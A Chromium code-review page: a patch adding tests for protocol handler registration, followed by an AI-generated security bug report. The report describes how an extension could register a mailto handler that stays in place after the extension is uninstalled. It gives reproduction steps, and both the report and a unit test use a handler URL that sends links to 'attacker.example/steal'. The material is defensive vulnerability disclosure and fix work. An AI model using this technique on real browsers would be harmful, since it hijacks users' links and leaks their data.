+IN_PROC_BROWSER_TEST_F(RegisterProtocolHandlerExtensionBrowserTest,
+                       JsHandlerOverridesExtensionDefault) {
+#if BUILDFLAG(IS_MAC)
+  ASSERT_TRUE(test::RegisterAppWithLaunchServices());
+#endif
+  permissions::PermissionRequestManager::FromWebContents(
+      browser()->tab_strip_model()->GetActiveWebContents())
+      ->set_auto_response_for_test(
+          permissions::PermissionRequestManager::ACCEPT_ALL);
+
+  ProtocolHandlerRegistry* registry =
+      ProtocolHandlerRegistryFactory::GetForBrowserContext(
+          browser()->GetProfile());
+
+  // Another extension's handler is already the default for 'geo'.
+  ProtocolHandler other_extension_handler =
+      ProtocolHandler::CreateExtensionProtocolHandler(
+          "geo", GURL("https://other-extension.example/%s"),
+          "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
+  other_extension_handler.Confirm();
+  registry->OnAcceptRegisterProtocolHandler(other_extension_handler);
+  ASSERT_TRUE(registry->IsDefault(other_extension_handler));
+
+  const extensions::Extension* extension =
+      LoadExtension(test_data_dir_.AppendASCII("protocol_handler"));
+  ASSERT_NE(nullptr, extension);
+
+  // Register a 'geo' handler from the extension page via the JS API. The waiter
+  // must only cover the registration; see the comment in
+  // JsHandlerDoesNotOverrideNonExtensionDefault.
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(
+      browser(), GURL("chrome-extension://" + extension->id() + "/test.html")));
+  {
+    ProtocolHandlerChangeWaiter waiter(registry);
+    ASSERT_TRUE(content::ExecJs(
+        browser()->tab_strip_model()->GetActiveWebContents(),
+        "navigator.registerProtocolHandler('geo', 'test.html?%s', 'test');"));
+    waiter.Wait();
+  }
+
+  // The newly registered extension handler overrides the previous extension
+  // default.
+  EXPECT_FALSE(registry->IsDefault(other_extension_handler));
+  const ProtocolHandler& new_default = registry->GetHandlerFor("geo");
+  ASSERT_TRUE(new_default.extension_id().has_value());
+  EXPECT_EQ(extension->id(), *new_default.extension_id());
+}
+
 class ChromeRegisterProtocolHandlerAndServiceWorkerInterceptor
     : public InProcessBrowserTest {
  public:
diff --git a/chrome/test/data/extensions/api_test/protocol_handler/test_registration.js b/chrome/test/data/extensions/api_test/protocol_handler/test_registration.js
index 2a18c2b..6ae1d29b 100644
--- a/chrome/test/data/extensions/api_test/protocol_handler/test_registration.js
+++ b/chrome/test/data/extensions/api_test/protocol_handler/test_registration.js
@@ -122,8 +122,14 @@
     async function chromeExtensionURL() {
       chrome.test.assertTrue(
           SAME_ORIGIN_CHROME_EXTENSION_URL.startsWith('chrome-extension://'));
+      // Use a safelisted scheme with no predefined default handler. mailto and
+      // webcal must be avoided here: on Chrome OS they ship a predefined
+      // non-extension default handler, and an extension handler (kExtension
+      // security level) is not allowed to override a non-extension default, so
+      // the extension handler would never become the default and the
+      // navigation below would not resolve through it.
       await testRegisterProtocolHandler(
-          'mailto', SAME_ORIGIN_CHROME_EXTENSION_URL, TITLE);
+          'xmpp', SAME_ORIGIN_CHROME_EXTENSION_URL, TITLE);
       chrome.test.succeed();
     },
diff --git a/components/custom_handlers/protocol_handler_registry_unittest.cc b/components/custom_handlers/protocol_handler_registry_unittest.cc
index f186896..552783c 100644
--- a/components/custom_handlers/protocol_handler_registry_unittest.cc
+++ b/components/custom_handlers/protocol_handler_registry_unittest.cc
@@ -342,6 +342,48 @@
   EXPECT_EQ(now, recreated.last_modified());
 }
 
+// A handler at the kExtensionFeatures security level with no extension_id is an
+// orphan: extension cleanup keys off the extension_id, so such a handler can
+// never be removed on uninstall/disable. Builds from before the extension_id
+// was populated at registration time could persist one to prefs, where its
+// elevated level would keep validating a cross-origin URL indefinitely.
+// IsAllowedExtensionHandler() must reject it so it is dropped when reloaded
+// rather than silently re-registered with its elevated privileges intact.
+TEST_F(ProtocolHandlerRegistryTest,
+       ExtensionFeaturesHandlerWithoutExtensionIdIsRejected) {
+  base::Time now = base::Time::Now();
+  const GURL cross_origin_url("https://attacker.example/steal?url=%s");
+
+  ProtocolHandler orphan(
+      "mailto", cross_origin_url, /*app_id=*/std::nullopt,
+      /*extension_id=*/std::nullopt, now,
+      /*is_confirmed=*/true, /*is_allowed_in_incognito=*/false,
+      blink::ProtocolHandlerSecurityLevel::kExtensionFeatures);
+  // The orphan is well-formed per the HTML spec (safelisted scheme, trustworthy
+  // URL); it is the missing extension association -- a concern separate from
+  // IsValid() -- that must disqualify it.
+  EXPECT_TRUE(orphan.IsValid());
... (truncated)
Loading diff…

Original Bug Report

reported by vm...@google.com

Persistent cross-origin protocol handler hijack via extension uninstall bypass

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A potential vulnerability allows extensions to register persistent, cross-origin protocol handlers that survive extension uninstallation. Handlers registered via navigator.registerProtocolHandler receive elevated security privileges but are not properly associated with the extension’s ID. This orphans the handler, bypassing extension cleanup routines and allowing persistent protocol hijacking.

Affected files:

  • chrome/browser/ui/browser.cc
  • extensions/browser/api/protocol_handlers/protocol_handlers_manager.cc
  • components/custom_handlers/protocol_handler.cc
  • components/custom_handlers/protocol_handler_registry.cc
  • content/browser/web_contents/web_contents_impl.cc

Estimated timestamp from git blame: 2020-12-14

Description

A potential logic flaw in protocol handler registration allows a malicious extension to register a persistent, cross-origin protocol handler (e.g., mailto:) that survives the extension’s uninstallation.

When a privileged extension page invokes navigator.registerProtocolHandler, the request is processed by Browser::RegisterProtocolHandler (chrome/browser/ui/browser.cc). Because the request originates from an extension, it is assigned an elevated security level (blink::ProtocolHandlerSecurityLevel::kExtensionFeatures). This elevated level bypasses standard same-origin policy checks, permitting the extension to register a cross-origin URL (e.g., https://attacker.example).

The root cause occurs when Browser::RegisterProtocolHandler instantiates the ProtocolHandler object. It uses the 3-argument factory ProtocolHandler::CreateProtocolHandler, which sets security_level_ to kExtensionFeatures but leaves the extension_id_ field as std::nullopt.

Once the user accepts the permission prompt, this handler is serialized to user preferences via ProtocolHandler::Encode(). Because extension_id_ is unpopulated, the resulting dictionary lacks an extension_id key, but it successfully persists the elevated security_level.

When the extension is subsequently uninstalled:

  1. The unload hook (ProtocolHandlersManager::OnExtensionUnloaded) only removes handlers explicitly declared in the extension’s manifest.
  2. The system’s garbage collection routine (ProtocolHandlersManager::ProtocolHandlersSanityCheck) attempts to find orphaned handlers by querying ProtocolHandlerRegistry::GetExtensionProtocolHandlers(). However, this function explicitly filters out handlers that lack an extension_id.

As a result, the handler completely evades cleanup. Upon the next browser restart, the handler is deserialized from preferences with its elevated kExtensionFeatures security level intact, permanently validating the cross-origin hijack.

Potential Reproduction Steps

Note: These are suggested/potential steps, as our tooling agent does not yet have the ability to run code.

  1. Install an attacker-controlled extension.
  2. The extension opens a privileged page (e.g., chrome-extension://<id>/page.html).
  3. Triggered by a user gesture, the page calls navigator.registerProtocolHandler('mailto', 'https://attacker.example/steal?url=%s').
  4. The user accepts the “Allow this site to open mailto links?” permission prompt.
  5. Uninstall the malicious extension.
  6. Restart the Chrome browser.
  7. Observe that clicking any mailto: link still redirects to https://attacker.example/steal?url=... despite the extension being uninstalled.

Suggested Fix

In Browser::RegisterProtocolHandler (chrome/browser/ui/browser.cc), the code should verify if the requesting frame belongs to an extension. If it does, the ProtocolHandler should be constructed using ProtocolHandler::CreateExtensionProtocolHandler (or by explicitly passing the extension_id), ensuring the extension_id_ field is correctly populated. This will allow the existing ProtocolHandlersSanityCheck to correctly identify and purge the handler upon extension uninstallation.

Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker